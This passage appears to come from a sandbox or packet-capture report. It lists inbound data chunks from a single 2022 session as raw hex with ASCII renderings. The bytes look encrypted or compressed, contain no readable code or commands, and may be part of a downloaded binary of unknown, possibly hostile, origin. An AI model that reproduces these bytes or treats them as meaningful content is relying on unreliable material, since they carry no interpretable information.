82 88 07 6c 61 3f 8b Data Ascii: J}E`j~{mw@}o]@>m6%f_ltkdyd@3y #L #Qu}Iond[WP_Jr``m}?[Z;6`n#&~>I!FgcW`VkIJ=i\|e(Za,ei>4)i` i^`>sj;+mcebfkJla?
2022-01-24 07:55:04 UTC	108	IN	Data Raw: 48 17 73 89 89 5b 9d 36 e9 5e 70 40 12 4b 76 07 9f 50 5b f4 71 3b be e2 6a 64 51 83 84 8d 01 d0 8b af 70 49 06 ee fd ae 8b 99 cd f2 7d 17 e1 6e 83 c5 ee 8e 63 cc e1 2f b1 65 b4 79 66 5b 3c 82 bf 58 3a c9 4e 83 c0 d1 17 05 d1 81 53 1a 59 ac 7a 31 1e 84 24 61 dd 68 2b 26 30 8e 5e 59 46 a8 bb 36 2a 04 c6 8d 3a ac c6 01 a3 a6 4f fb 8e 9c 67 5e 66 0d b4 77 47 70 15 fb 12 a1 e2 66 d3 71 c0 47 1e b9 3b af d4 46 b0 53 32 3d 5d cd 32 55 57 73 11 33 65 89 de b6 e1 b1 66 43 8e 50 82 74 b6 05 37 12 78 3d a9 cd 85 75 1c ef 92 6a 7a 52 cc 1c ce a1 52 d2 73 f5 18 ae 0b 25 6e eb 94 2f d8 cb c5 eb 64 d9 5d a5 23 f7 9a 2c 0e f4 d2 5a 9a 79 02 d8 81 3b 27 22 0e 1d 4a 42 e0 b7 a3 97 04 5a e7 a7 4c 54 ab 0a b9 ac fc 10 dd aa f8 fb ec 01 64 2d 65 64 af 96 b7 f9 63 83 1a 53 a4 Data Ascii: Hs[6^p@KvP[q;jdQpI}nc/eyf[<X:NSYz1$ah+&0^YF6*:Og^fwGpfqG;FS2=]2UWs3efCPt7x=ujzRRs%n/d]#,Zy;'"JBZLTd-edcS
2022-01-24 07:55:04 UTC	109	IN	Data Raw: dd 38 a0 c2 66 3f 0b 6f cf 7c 7a d0 ad 5f bd 69 9b 67 05 9e d4 f8 f9 c3 af 5a 69 8f af 48 3d eb 6e 54 ff c8 35 58 b3 ad 88 6d 3e 50 43 fc 2a bd 5a c7 63 00 70 bf 04 3e a8 77 69 a5 61 f7 24 6e d3 cd 1e 10 4a 0e 29 72 3e 19 46 17 b8 8e 03 90 d3 63 a4 0b c0 50 8b 6c c7 71 88 4a 5b bd c1 ec b9 42 72 03 6a 6d 52 30 9e c4 0e c4 e2 5f 13 64 23 be a1 5e 3b 95 c9 29 a8 9a e8 52 1d 02 0f bc 98 7f 56 6a f7 b0 0e 54 3d 81 d9 04 2f 98 c2 d5 c2 43 4e fc b6 07 82 33 db d8 3c da a0 ee 38 54 20 d4 44 42 a5 4a 0a 2e 1e 58 b3 dc 25 09 c1 17 75 16 d9 56 ee cb dd a0 6b 74 68 ec 79 8c 21 0e fd 13 ad 06 64 0b 44 0a 9c 83 f7 51 a1 7b 0e 7c 86 4b 53 f4 b6 00 4b 0c 0b b4 9b 38 a8 b0 61 c4 08 fd 1e 67 7b bb 11 be 3c d0 80 83 48 97 03 ca 96 33 6a 08 13 1f 86 2a d1 17 f2 8c 8b c6 4f Data Ascii: 8f?o\|z_igZiH=nT5Xm>PCZcp>wia$nJ)r>FcPlqJ[BrjmR0_d#^;)RVjT=/CN3<8T DBJ.X%uVkthy!dDQ{\|KSK8ag{<H3jO
2022-01-24 07:55:04 UTC	111	IN	Data Raw: b6 e6 cd 17 30 21 5a 8f 7c a3 6c ec 16 6c 1f 32 c3 9f 64 64 96 94 6a 7c 45 f7 00 de af 4e cf 7d 7f 0f a5 18 2c 10 f3 81 3b c5 7f 5d ea 64 d8 66 b2 37 e7 8a 36 9b cd ca 48 b2 d8 6d cf 8a 1d 3c 1e 14 84 4e 54 f4 b8 b3 25 08 4b e7 ad 4b 86 bf 65 73 b5 d4 0e c2 92 e8 c5 b1 f4 65 27 17 5e bb 97 ac e0 42 cb 78 59 b3 7f ad f9 51 13 54 a3 69 02 78 c9 0e 4e d0 0a bd 25 8b 99 59 ee ed e0 85 5f 41 07 15 b2 f8 04 59 1e 22 fc 86 78 6e 1f f5 96 1d b6 46 b6 79 a9 bb d1 15 f8 31 9b c8 2c 05 c1 00 17 d1 2f 2e b7 86 a2 74 a8 37 91 7e 73 23 a0 b7 d3 80 17 e8 bf d2 54 90 53 c9 8f 62 de f6 49 d9 71 b7 5d e5 62 ef 5e cc 26 b5 f9 ee fe 7a 96 9d 99 2c c8 04 5d 7c b8 49 92 ac dc 06 e2 17 cf 85 6c 22 cf ce 09 97 08 71 83 57 e4 c3 7e 70 79 34 af 89 89 c0 49 cf 24 40 f1 a3 d1 16 dd Data Ascii: 0!Z\|ll2ddj\|EN},;]df76Hm<NT%KKese'^BxYQTixN%Y_AY"xnFy1,/.t7~s#TSbIq]b^&z,]\|Il"qW~py4I$@
2022-01-24 07:55:04 UTC	112	IN	Data Raw: 18 db dd 5a 95 76 e6 24 99 23 f6 8f 56 80 68 22 6f 0d 59 a0 c8 06 e9 f1 e9 72 30 d7 67 f9 1d d0 11 97 73 42 eb 62 e3 dd 0d fd 0d c2 bb e3 0b 42 1d 46 ec 26 53 a1 71 61 13 12 4b 40 38 bb 1f 7f 04 30 bc 8a 89 b7 aa 9f 2a 24 f4 1e 45 63 8d 2c a7 33 eb 49 81 59 96 34 f4 68 32 4c 08 6e 02 31 23 c3 cd 21 8b a7 d8 7a bb 36 be e6 73 3a 7a 60 08 69 ed c7 b6 4b 05 c3 6b 76 4a 9d e9 8a c6 5e b3 c5 47 34 75 1b c7 e8 b2 22 b1 0b d9 90 11 d2 b7 53 71 db 2c 75 e3 ee b9 c8 1e ac 03 a9 e5 b8 8f 95 24 37 eb df 60 32 ec 82 c4 9f d5 78 08 da 6c 41 fe fe a0 2b e9 9d 1d 9c 99 d0 68 9e 3f 79 61 76 4c 10 35 4d 16 94 4e 77 5d 70 17 bc 37 55 58 58 9c c6 b4 0d fa 9a a4 6f 2c 9c ef d1 bd 88 90 d5 09 75 01 f0 61 ab d0 ef b6 69 d3 c4 30 ba 65 a5 72 7d a5 3d ac b9 4e 29 89 52 90 cb fb Data Ascii: Zv$#Vh"oYr0gsBbBF&SqaK@80*$Ec,3IY4h2Ln1#!z6s:z`iKkvJ^G4u"Sq,u$7`2xlA+h?yavL5MNw]p7UXXo,uai0er}=N)R
2022-01-24 07:55:04 UTC	113	IN	Data Raw: 90 d3 3f 08 3a f6 99 2a 07 be 1d 34 d3 28 3c 3c 85 a2 7a 58 2f 49 69 ba 00 b3 a4 f1 ab 2f f9 43 c3 5e 83 43 ad 6e 7b de fb 56 36 78 43 47 2b 78 e5 41 02 0e ac c2 83 1d 70 96 9c a9 c6 c8 28 55 7f ed 60 71 a8 8f 69 e1 17 cd c0 36 20 cc b9 ea 87 02 62 7f 44 ee d2 67 51 6a 05 45 98 80 e8 e8 cf 24 7a f1 b9 f3 83 6a 23 f9 d9 5b a0 01 1d d8 8b af f8 48 35 ad e9 1c a7 94 91 bf da 41 a0 15 8d 28 78 2e 4f b9 db 54 12 49 45 fb 7a 1e 96 f3 09 65 4b 2c 5e 89 0f 40 50 d0 41 60 8d 4e cd e0 6e 90 97 61 ad e0 53 99 59 a9 0b 87 5a 8e fc 1a 3b 9f 2d d4 6e 6e 23 d7 34 d2 60 56 3c 01 c9 cd 07 45 3f ad 5b bf 46 76 64 1a a8 94 52 f3 eb ae 53 61 e6 7c 84 3d e1 69 0c 54 ea 34 52 b8 b5 e0 16 0d 0d 4b 94 6e 97 02 d2 76 66 02 ac 0c 1f c2 24 60 b4 68 75 2d 6f 85 52 1b 10 46 68 b2 58 Data Ascii: ?:*4(<<zX/Ii/C^Cn{V6xCG+xAp(U`qi6 bDgQjE$zj#[H5A(x.OTIEzeK,^@PA`NnaSYZ;-nn#4`V<E?[FvdRSa\|=iT4RKnvf$`hu-oRFhX
2022-01-24 07:55:04 UTC	114	IN	Data Raw: ea 8c fb b4 0d 28 49 e5 dc 05 85 b9 0e ae 6d c3 d2 50 81 f2 d3 df 7d 21 26 11 72 85 96 ac ea 79 ac 7f 59 c9 56 83 fb a6 15 3b ca 7f 11 77 d9 5d 4d d0 00 ae 33 99 96 af d7 90 e6 86 59 7f 3b 0a da ca 05 48 1f 54 c9 85 54 61 d3 e0 54 19 69 51 71 f1 a1 45 d0 38 fc 3a f6 9c 2a 07 be 35 6d 97 2a 41 78 8c b4 7d 5a 1c 48 69 a3 2e a2 a1 d9 ba 2a e6 bc 3d 5f ab c2 a6 45 60 dc 87 04 c9 79 6b 47 48 35 e4 46 10 f8 bb e8 a9 39 7a 96 91 b3 3a b5 43 56 54 eb 5d ba a0 f4 28 cb 6a 8f eb 14 26 c6 c2 7d 8b 3a 93 55 44 ee d1 7d bb 7b 01 6f 9a 97 87 46 cd 24 6d 9a f7 d9 98 6e 35 ea 25 21 cf 02 05 d7 ba 8a ec cd 71 80 eb 0f ba 9c 9f a5 5f 03 8d 17 a2 02 60 cc 4d c8 90 57 69 0e 6e d9 7c cb e6 89 bf 65 4f 06 16 f0 62 56 50 d4 5d 6a f7 8c cb c8 57 ec d6 6a af f5 7d ff 2f ab 0b 3b Data Ascii: (ImP}!&ryYV;w]M3Y;HTTaTiQqE8:5mAx}ZHi.*=_E`ykGH5F9z:CVT](j&}:UD}{oF$mn5%!q_`MWin\|eObVP]jWj}/;
2022-01-24 07:55:04 UTC	115	IN	Data Raw: ae a5 a1 65 3a 01 c3 43 b0 84 41 0e a1 3b f5 42 90 45 82 27 25 97 1f 57 03 7c 89 80 3b de 8a 77 b3 a3 c7 4b a0 2a 33 f0 78 25 41 8d 0e 54 fb d6 c8 b2 88 fc 6d 67 43 50 2a 8f d2 7c 07 fe 54 35 5d e7 cd f7 90 f4 6d 25 d5 8b 87 d7 fa e7 7e db 3d 67 d0 03 b3 e4 2c a5 67 c0 1a b9 a7 ae 20 3c fc 0f e7 2c 42 15 12 12 ff 7a 73 92 61 5e d4 63 1c 31 d0 a5 00 62 92 e7 73 90 36 f9 7f 62 af 02 12 44 3f e4 ae cb 5c 6e 32 a7 33 42 9f 58 9a 7c a6 2a e4 89 d4 39 09 62 ea eb a5 ff 19 cd df 7c 01 e3 1e ca c4 ee b2 ed 7b c9 10 b0 65 be 63 75 56 3c 91 b2 47 2e 73 4f af ce ea 10 12 4b c7 43 1a 59 b0 76 2e 0b 97 29 61 cc 67 33 d8 31 29 48 5b 3d f9 ba 36 2e 29 70 97 ec b7 1c 16 75 2b 64 fb 8e 9f 6a 47 75 b9 b5 66 4a f5 1b 05 13 de ed 77 d6 76 ca 79 01 46 c4 50 cb 52 93 57 32 d9 Data Ascii: e:CA;BE'%W\|;wK3x%ATmgCP\|T5]m%~=g,g <,Bzsa^c1bs6bD?\n23BX\|*9b\|{ecuV<G.sOKCYv.)ag31)H[=6.)pu+djGufJwvyFPRW2
2022-01-24 07:55:04 UTC	117	IN	Data Raw: bc da 1a f9 04 cc ea 05 27 d8 3a aa aa 01 7e 46 41 ee c3 71 78 96 04 41 9d 94 c2 5a dc 21 6b f6 b7 ce 66 6b 08 ed 30 49 89 03 14 d6 91 56 ef 9a 36 aa e9 20 17 96 f9 6c 24 40 86 7b 85 2a 53 cd 4d c2 99 55 52 16 4c d9 78 1d eb b1 08 95 70 5f 3c 1a 27 57 5a 67 5c b4 73 b6 cf e0 65 e6 c0 67 23 53 6e 58 7a ae 06 14 79 8c f5 f4 e3 87 53 4a d7 6e 29 d1 3f a8 d1 76 3f 09 c3 cf 54 98 3c ad 55 84 a2 65 63 0f 04 ae 54 2d ce ac 47 65 d1 ca 4d 17 e1 70 1a 6f c8 f7 52 b8 a4 1b 0e 3e 41 5f fc 29 ae ac d6 65 6f 14 ae 01 2b d5 cb 68 89 6b ed 31 6d 23 e9 2c 38 5f 6b 2d 76 3e 02 6f 2c 57 8b 07 6e cf 70 a7 64 11 57 93 98 ee ea 81 39 e8 91 d3 f7 b6 73 9f 02 6a 7a 38 ec 62 c5 28 a3 e6 5b 1a ff 24 b2 b6 34 fa 86 cc 3e 51 b3 13 44 1a 2c 7d 2a 98 79 54 89 a4 b0 0e 5f 59 44 dd 6b Data Ascii: ':~FAqxAZ!kfk0IV6 l$@{SMURLxp_<'WZg\seg#SnXzySJn)?v?T<UecT-GeMpoR>A_)eo+hk1m#,8_k-v>o,WnpdW9sjz8b([$4>QD,}yT_YDk
2022-01-24 07:55:04 UTC	118	IN	Data Raw: 62 e8 ea 21 8c 99 cd de 6e 09 f0 7b 95 ed f4 b3 63 ca 43 32 af 71 a0 6d 4e f8 3c 80 b5 49 3d 99 66 67 c4 fb 10 12 5c e8 52 1a 58 a9 65 20 01 92 0c 7a d8 6a 2d 84 21 1a 4b 4d 52 98 18 36 2a ad ef b0 38 a0 cc 29 14 a6 4f f1 b7 53 66 5e 66 bd a1 5f f2 e9 15 fd 05 7f e7 66 d3 66 d3 67 0f 99 2d b9 58 62 80 5a 33 6a 4e ed 26 ad 43 5b a3 2d e8 a8 ca 9e 55 a1 6f 36 36 dd 85 7e a5 02 35 35 7d 34 3b d9 09 4c 0b 62 94 c8 6b 72 cb 06 cb 87 e7 c3 7a 5d 1d 88 ad 29 7f e2 97 b6 c8 46 ea ea 77 fa 5f 97 24 f0 00 04 92 e5 c3 ef a3 fc 16 cc 9f 35 95 32 18 87 72 75 44 bb b5 0b 3b c6 e0 a7 46 85 aa 29 a8 94 c2 12 51 95 f2 d3 df a2 75 04 05 62 bb be 0f ea 6a 96 6e 71 03 54 83 fd 47 98 3c db 69 03 66 f5 2f 64 73 00 ae 28 b4 9b 51 d6 b6 f2 89 56 44 28 a2 ca cf 03 4e 97 4a 37 84 Data Ascii: b!n{cC2qmN<I=fg\RXe zj-!KMR6*8)OSf^f_ffg-XbZ3jN&C[-Uo66~55}4;Lbkrz])Fw_$52ruD;F)QubjnqTG<if/ds(QVD(NJ7
2022-01-24 07:55:04 UTC	119	IN	Data Raw: 35 50 90 b8 e2 0e 38 78 6d ef 2c 9c 2a e7 65 6f 1e 86 cd 36 dc 35 7f 28 4b e4 20 68 be 45 1c 38 5c 64 3e 75 16 37 6a 3b a3 f9 d8 6c d7 65 b1 70 11 46 e4 97 ee c6 8e 25 b7 93 d3 f7 ae 4f b4 09 6b 6b 3d e2 b9 ec e3 a9 f7 55 9f 44 28 af be 22 e6 86 d5 37 87 a9 3b 51 1b 12 fc 28 98 7f 5d 11 9b a4 26 fd 36 90 d5 43 54 9d c2 d9 f9 f4 78 f2 a7 0b bf 28 de f6 48 89 a0 e8 24 05 20 de 9a 56 94 76 29 06 bd 52 a0 d3 25 e8 c0 17 75 0a d9 86 ec cb dd 56 82 70 42 e7 74 90 35 24 e6 0f ad 6d f7 86 4f 0a 9c 82 e3 45 b5 53 ad e9 13 41 6e f1 b3 00 4c 01 13 54 99 82 a2 98 88 29 08 f7 27 f8 7b be 1b 94 35 e9 5e 95 60 e4 28 db 90 25 ed 02 6d 8c 87 3e cf 0f d3 3b a3 c7 40 80 a1 be f7 72 36 5a 8f 15 51 d4 db dd b7 02 d5 e0 60 42 f2 3a 9c d2 40 84 5d 54 3f 7f 22 d1 f2 9a da a6 0f Data Ascii: 5P8xm,*eo65(K hE8\d>u7j;lepF%Okk=UD("7;Q(]&6CTx(H$ Vv)R%uVpBt5$mOESAnLT)'{5^`(%m>;@r6ZQ`B:@]T?"
2022-01-24 07:55:04 UTC	120	IN	Data Raw: 3c 41 1e 80 3b cf 59 c3 f8 73 d8 5f a2 2d c1 72 3a be e9 c4 5c a2 b1 14 d9 8b 17 29 15 0b 9a 66 4c e6 a7 af f3 2d 67 c9 b6 54 eb 45 0b b9 b1 c2 6b 0c a8 f2 d9 b1 fc 65 27 17 61 c0 47 ae ea 60 f3 86 58 b5 51 94 94 80 17 3b d1 06 fc 73 e1 3d 5f c3 1f b5 31 8b 8a 40 c1 a3 f5 7b 5e 7c 21 06 c0 de 0f 4e cc 22 db 86 78 6e aa 6b 4f 0a 66 49 0f 73 bd bb db 7b 63 39 8d d3 38 03 a5 22 05 c6 2b 50 6b 9b ae 80 73 03 40 51 a5 32 b1 a4 c6 a6 3c ee b6 d2 49 8d 5b 58 44 4c ce d4 60 cd 79 69 36 b0 72 e5 4c 07 f7 b2 e1 92 1d 7b 87 8c ae 2f 37 05 7b 44 fe 4f ba 24 f5 28 ea 2d 94 14 eb dd d0 dc b8 91 02 77 42 5b ca 2c 75 4d 74 14 7d 89 8b c0 62 ca 24 6d cf 9c da 98 6c 0c 05 25 5a 86 6c 23 d1 8b ae f1 93 27 96 eb 1a bb 88 68 a6 08 46 8e 04 b3 37 40 da 4d d3 8e 4a 01 b3 6e f5 Data Ascii: <A;Ys_-r:\)fL-gTEke'aG`XQ;s=_1@{^\|!N"xnkOfIs{c98"+Pks@Q2<I[XDL`yi6rL{/7{DO$(-wB[,uMt}b$ml%Zl#'hF7@MJn
2022-01-24 07:55:04 UTC	122	IN	Data Raw: ec 65 88 30 03 d5 17 af 6b e7 18 43 79 be 81 f7 57 b2 6b 1f f9 1b 24 6e ec b6 06 5b 07 2a b0 b3 a0 ad b0 67 03 26 ff 0f 49 53 55 13 b8 22 97 66 83 48 9b 3a cb 87 38 48 27 68 8c 80 02 f5 19 fb 9e 8b 2c 48 a8 37 d1 d1 7a 25 46 8f 19 46 93 ea db b7 02 c5 7c 77 2d e4 3a 88 cc 8a a3 db 7c 08 75 0a c6 e4 8e f4 88 27 d5 8b c5 c8 e6 fe 64 0d 3f 60 db f7 a3 df 31 d2 e2 7b e4 a8 b6 91 f1 2d e9 18 e4 34 20 1b a5 2d 15 85 f7 24 66 74 d0 ac 9f 2b f8 96 01 62 98 af 60 9d 36 e3 72 7c 51 5d 3e 4d 07 8d 51 34 a3 6b 3b b4 3f 42 8e 55 83 1f a7 06 fa e6 ae 70 08 68 ec fd ac 84 99 cd df 67 17 e1 64 98 f5 e7 b6 39 cd e1 23 b4 64 b4 68 64 51 3e 96 d0 b9 3b 8d 44 9c 9f c8 1e 07 c6 80 54 1b 59 b0 70 37 36 18 24 61 d7 42 4e 27 30 0f 52 2a 62 b1 bb 3c 39 a3 d6 89 2e 88 dd 05 a3 a0 Data Ascii: e0kCyWk$n[g&ISU"fH:8H'h,H7z%FF\|w-:\|u'd?`1{-4 -$ft+b`6r\|Q]>MQ4k;?BUphgd9#dhdQ>;DTYp76$aBN'0Rb<9.
2022-01-24 07:55:04 UTC	123	IN	Data Raw: a6 45 60 d6 fd 41 d9 7b 91 50 7e 73 e5 44 16 8e 98 ee 81 0e 06 e8 9a b1 3c cb d4 1a 54 ef 49 ba be f4 28 ea 3f 37 ea 14 28 b2 b9 aa 86 06 65 41 ba ef c4 8a 60 62 03 41 b5 82 eb ce 78 59 eb e6 b2 dc 9a 68 5f 6e 26 5a 88 2b 5d d1 8b a2 93 c9 35 81 ef 08 ba 96 ed d8 25 40 88 15 dd aa 52 cd 49 ea 74 57 12 47 6b cd 86 1c fd 4f 09 6e 48 2a 39 89 23 d9 e7 ad c9 63 fe 99 cd e2 1f 6f d7 60 a9 cc 21 80 69 a0 76 be 5a 8e f8 e8 2d 9d 47 26 d6 6e 27 df 43 23 d8 56 38 23 2e cd 7c 70 3b b9 a1 ad 57 99 62 09 90 8b 04 f9 c6 2b e1 1c 64 12 4a 39 e3 61 51 e8 c9 35 56 90 fc e5 0e 34 2d ca ee 2c 92 07 c0 67 14 97 be 04 30 de 4e ed a4 60 e0 08 84 af 5e 14 12 45 ef 89 0e b8 12 6a 3f ab 88 50 eb d6 63 a6 4c 58 50 8b 6c 92 43 89 4a 55 bb d3 fd ae 5a 8e 07 2a 6a 3d f0 95 c5 04 ba Data Ascii: E`A{P~sD<TI(?7(eA`bAxYh_n&Z+]5%@RItWGkOnH9#co`!ivZ-G&n'C#V8#.\|p;Wb+dJ9aQ5V4-,g0N`^Ej?PcLXPlCJUZj=
2022-01-24 07:55:04 UTC	124	IN	Data Raw: fd 60 99 2a 72 57 51 5a 25 22 52 37 80 5d 1c 8e 73 3b b2 14 18 f0 cc 82 82 a3 1b 60 ae 82 7b 2e 7f f1 c1 b3 84 b1 e0 dd 7d 11 cb 3f fd 5c ef b6 67 d2 7b 06 9c 6e 92 67 79 10 23 8d 97 75 38 8d 48 a9 a2 85 8f 04 d1 eb 4d 13 c3 9f 57 3d 38 9b 2d 7e 85 75 27 0e 1d 07 5f 5f 6c d2 c5 af 2b a7 c3 92 30 3a e3 2c af 80 50 f1 91 fa 78 55 4e 99 b7 77 41 c0 4b 85 8b f3 e0 62 cc 6c 5a 62 33 b2 1d b0 df 42 ef 43 1a e5 5d cd 34 93 35 0d 99 2c e8 a6 c1 ba 7a 87 42 3c 07 4f 8e 61 d7 1c 3a 3c 41 17 2d c9 af 1d 75 fb 94 6a 7e 4c d2 88 fa 82 4b e5 65 5a 29 2e 18 2a 7f fb 8a 13 e2 44 ea ed 4e b6 30 2c 33 e7 88 24 9c 7f e7 60 bd f8 1d d6 ab 85 36 32 18 92 6c 75 dc ba b5 0b 06 25 99 3e 47 84 bd 15 b6 2d f1 29 d2 8c ed dc fe a2 64 27 11 69 bd be 81 e8 6a 9a 50 37 cb ce 82 fb 55 Data Ascii: `rWQZ%"R7]s;`{.}?\g{ngy#u8HMW=8-~u'__l+0:,PxUNwAKblZb3BC]45,zB<Oa:<A-uj~LKeZ).DN0,3$`62lu%>G-)d'ijP7U
2022-01-24 07:55:04 UTC	125	IN	Data Raw: 60 1c 87 c1 cf 7c 62 16 80 5d ac 47 4d 09 7b 01 a6 43 ff dc 92 cc 44 cd 1d 6c 22 d6 43 a4 6e c8 35 4b 90 89 e5 0e 38 7a 23 91 b5 97 02 d2 7a 57 8e 9a 29 3a fa 2a 51 85 f1 e6 20 69 b6 76 33 12 40 67 14 19 40 8a 6b 3b ad 95 12 f7 f2 4e ac 42 1f 6b ab f0 ed c6 88 56 79 bc d1 fd bb 40 e6 79 f3 6a 3d f4 83 fe 9e 8e da 51 35 71 12 8f 39 33 fa 97 d4 0b 82 b0 3f 57 37 6e 0f b6 99 7f 58 1a b4 2a 2b 73 38 b6 c0 50 69 3b c0 df ef c5 b8 dd a5 01 a8 1e a4 a0 ca 8c a0 ea 2d b4 bd fb b7 58 a6 7d 01 0e b8 50 a0 d9 12 ff ed 3a 71 1c f7 44 84 b5 4e 7f 6b 76 5d d0 ff a9 0c 02 db 14 90 4b 4e 09 48 0a 8b ab da 53 a1 7d 24 83 6d d2 47 ee b2 1f 74 8d 1e 91 95 a4 b7 8e 41 9b 0a fd 0f 58 53 93 13 b8 2e d2 28 ff d1 9c 2b df 89 0c fa 20 40 82 a0 35 e4 3b 4a 9a a3 c7 56 80 10 bc f7 Data Ascii: `\|b]GM{CDl"Cn5K8z#zW):Q iv3@g@k;NBkVy@yj=Q5q93?W7nX+s8Pi;-X}P:qDNkv]KNHS}$mGtAXS.(+ @5;JV
2022-01-24 07:55:04 UTC	127	IN	Data Raw: 32 21 56 a8 10 db 9a 27 14 68 0a 4b 55 a0 5e 04 44 8a 0c 5a c9 db 12 df b0 54 eb 57 55 09 a6 32 40 01 7d 81 3b cb 59 8d 71 41 f5 40 93 2d 80 ac 91 96 e5 c2 56 9a f3 00 d8 8d 37 58 4c 81 8c 66 59 ee d0 2f 28 01 44 c1 b8 2e a4 16 0e b9 b7 cb 0b f5 87 f0 d3 d8 2a 0e 59 88 77 af 92 b3 83 f0 b9 57 57 93 48 ea db ef 11 3b db 72 2a 5f e3 3b 4a fa 6e d0 bb 9d 8a 55 c9 d6 7b a0 72 5f 26 08 a3 ef c6 5d 1a 4d 28 a1 50 49 c7 ed 48 20 02 2f f9 f5 bc bf ce 7f 71 1d a0 d6 0d 18 d1 17 fe d5 2b 41 63 8f 8a 53 70 2f 4f 43 c7 4e 28 a5 d9 af 30 95 2c e6 73 9d 73 b9 29 40 2d f8 41 c8 66 7a 6d 1e 71 e5 40 3e 9a d3 77 80 0a 7f 89 f6 2b 1d e4 0a 71 4b 82 6b 9a af f4 28 fc 3f e4 e8 14 24 e5 aa d5 1f 03 66 51 5b 80 48 51 4c 67 23 72 f6 a0 e6 45 cf 24 74 f7 9a f5 9a 6a 22 c4 4d 24 Data Ascii: 2!V'hKU^DZTWU2@};YqA@-V7XLfY/(D.YwWWH;r_;JnU{r_&]M(PIH /q+AcSp/OCN(0,ss)@-Afzmq@>w+qKk(?$fQ[HQLg#rE$tj"M$
2022-01-24 07:55:04 UTC	128	IN	Data Raw: 8d a0 ee a8 ad 0a cf bc 77 11 62 3d 2e 3e 4d a7 d9 0d ee ed 3a 71 1c f7 44 6c b5 4e 7f 6b 76 62 7f 65 8c 21 96 d8 26 bc 4d c1 99 48 0a 9c a3 d6 56 a1 7b 17 c1 3e 49 46 e8 9c 82 34 8e 3a bc 9f a2 3b b0 61 2b 92 d8 22 5e 5d 9e 82 b8 28 f8 62 a5 4f 9d 2b cc be 1e 62 05 6b a6 00 54 42 1a fb 9c 83 53 4a a8 3d 24 d2 55 37 66 be 9d 45 fc c0 f9 92 03 c3 6d 78 5d da 16 8a c6 52 86 78 2a a6 74 0a c8 d7 0f dc b0 27 4f a4 36 da d1 d4 e6 db 2c 6a ea b9 b5 c8 0f b8 16 ac 36 bb a3 80 0d b8 82 90 f0 25 32 b5 84 12 fe 78 92 fe 4d 4c f6 cd 3d 2b f8 96 21 2c 9f fc 60 82 2e c0 5f 7e 51 05 14 cb 79 06 50 34 a7 51 ac b4 3e 42 14 70 ae 90 81 26 6d 8b af 70 28 04 e9 fd ac 94 bf e5 f2 7f 17 e7 4f 05 bb 77 b7 63 c8 c1 bb b1 65 b4 e3 43 76 2e a6 9f c0 3a 8d 4e a3 4c fc 16 05 ce e6 Data Ascii: wb=.>M:qDlNkvbe!&MHV{>IF4:;a+"^](bO+bkTBSJ=$U7fEmx]Rx*t'O6,j6%2xML=+!,`._~QyP4Q>Bp&mp(OwceCv.:NL
2022-01-24 07:55:04 UTC	129	IN	Data Raw: 80 8d d9 2b 9d 9f 1a 04 f7 0b f9 7c 84 a2 5e 61 26 49 69 b6 12 99 89 db ab 29 d3 30 bd c7 93 55 a2 65 d9 de fc 41 52 5c 42 57 15 53 5c 46 14 f0 8d db 88 0a 7b 89 b9 99 15 cb 04 51 7e 69 35 0b ab f4 2c c0 ad c9 ea 14 b8 ea e9 b9 a0 22 dc 55 44 ee f2 23 68 68 05 72 bf a8 c5 42 cf 22 41 61 cc 41 99 6a 20 ce 9c 5a 8c 03 9f f6 a6 ba c8 96 8f 81 eb 0b 8c ea 9f a7 24 5f af 3f 8b 28 53 cb 67 44 e7 cc 13 4d 6b f9 c4 1d eb b1 92 40 62 14 32 ab 9b 57 50 d0 6b c3 f7 9d cf ff 47 c5 fb 62 ad e2 53 04 17 33 0a 3f 5f ae 41 ec 3b 9f a6 82 fa 7c 05 fd 85 a1 d9 56 1c cf ca cf 7c 65 1d 85 72 ae 41 61 49 83 e6 3e 42 fb c7 85 e8 61 e0 13 d0 18 cc 71 0c 4c 76 35 52 b8 84 00 07 3e 50 56 cc 04 bb 00 d6 63 45 92 c1 9d 35 dc 31 49 1a 60 e4 20 f3 88 73 0c 36 60 de 3e 73 3e 33 60 31 Data Ascii: +\|^a&Ii)0UeAR\BWS\F{Q~i5,"UD#hhrB"AaAj Z$_?(SgDMk@b2WPkGbS3?_A;\|V\|erAaI>BaqLv5R>PVcE51I` s6`>s>3`1
2022-01-24 07:55:04 UTC	130	IN	Data Raw: 20 2e 4b e1 8d c0 fa 20 0b b9 b3 f4 ca dd aa f2 49 fb 2d 76 01 31 b8 af 96 ac ca 79 90 7a 59 aa 76 ab d6 53 15 3d f1 ef 7c eb e0 3b 48 f0 cf ae 22 9c 10 74 fb ae c7 a5 90 50 00 17 e9 fb 09 59 1a 52 16 ac 55 66 c5 eb 64 8c 12 c8 61 f4 b8 9b 01 14 eb 38 17 fc 06 15 9c 17 c6 d1 2b 41 5c d1 ae 7e 72 30 6b 41 84 32 b1 a2 f3 2d 51 60 b7 c3 5a b2 84 a6 45 60 44 d9 6c da 5f 4f 94 33 73 e5 66 63 fc ad ee 9e 28 53 bb 99 b1 3e e3 82 29 cd ee 4b 96 8a 26 28 e0 17 53 cf 39 30 e9 e4 79 86 02 66 75 dd e2 d2 74 7e 4a 2d 40 9a 80 ee 6a 4d 5a f2 e6 b2 dc b8 b9 24 ee 27 c0 a9 2e 14 f5 ab 7b ee b6 34 a1 50 07 ac 94 8b 8f 09 42 8c 11 8c ac 2d 54 4c c2 9d 75 c6 4d 6f d9 e2 38 c6 a3 2e 45 9b 06 14 8b 07 95 5c d0 4b 7d dd b5 e2 e2 64 eb fc e6 d3 7d 78 82 6d 8a de 3f 5b 8e 66 c9 Data Ascii: .K I-v1yzYvS=\|;H"tPYRUfda8+A\~r0kA2-Q`ZE`Dl_O3sfc(S>)K&(S90yfut~J-@jMZ$'.{4PB-TLuMo8.E\K}d}xm?[f
2022-01-24 07:55:04 UTC	131	IN	Data Raw: 29 08 fb 25 cd 05 27 10 b8 2c d8 b7 81 48 9d b1 fe bb 22 46 25 98 8c 86 2a fb 50 f5 98 a3 dd 62 85 3f be f1 52 a7 3e 07 08 45 f8 e0 2f b7 04 c3 f7 42 6f e3 1d a8 30 54 ac fe 74 70 7b 0a cc ea b2 f1 b2 27 d3 ab 99 b6 6e f5 73 df 0c 9d ca fd b2 52 2a 8a 0d a2 3b 4e a3 86 27 1e aa 07 f1 25 2d bd 3f 10 fe 7e 22 59 1e c7 d1 ed af 0b 00 96 01 62 02 d9 4d 8c 10 c8 8a 7c 51 03 1e 16 09 9f 51 28 8b 5c 39 b4 38 68 08 2b 1a 83 a7 02 da 72 af 70 08 f8 cb d0 be ad b9 34 df 7d 17 c1 04 8d c5 ee a9 7b e4 cc 21 b1 63 9e ff 18 c2 3d 80 bb 78 c0 8d 4e 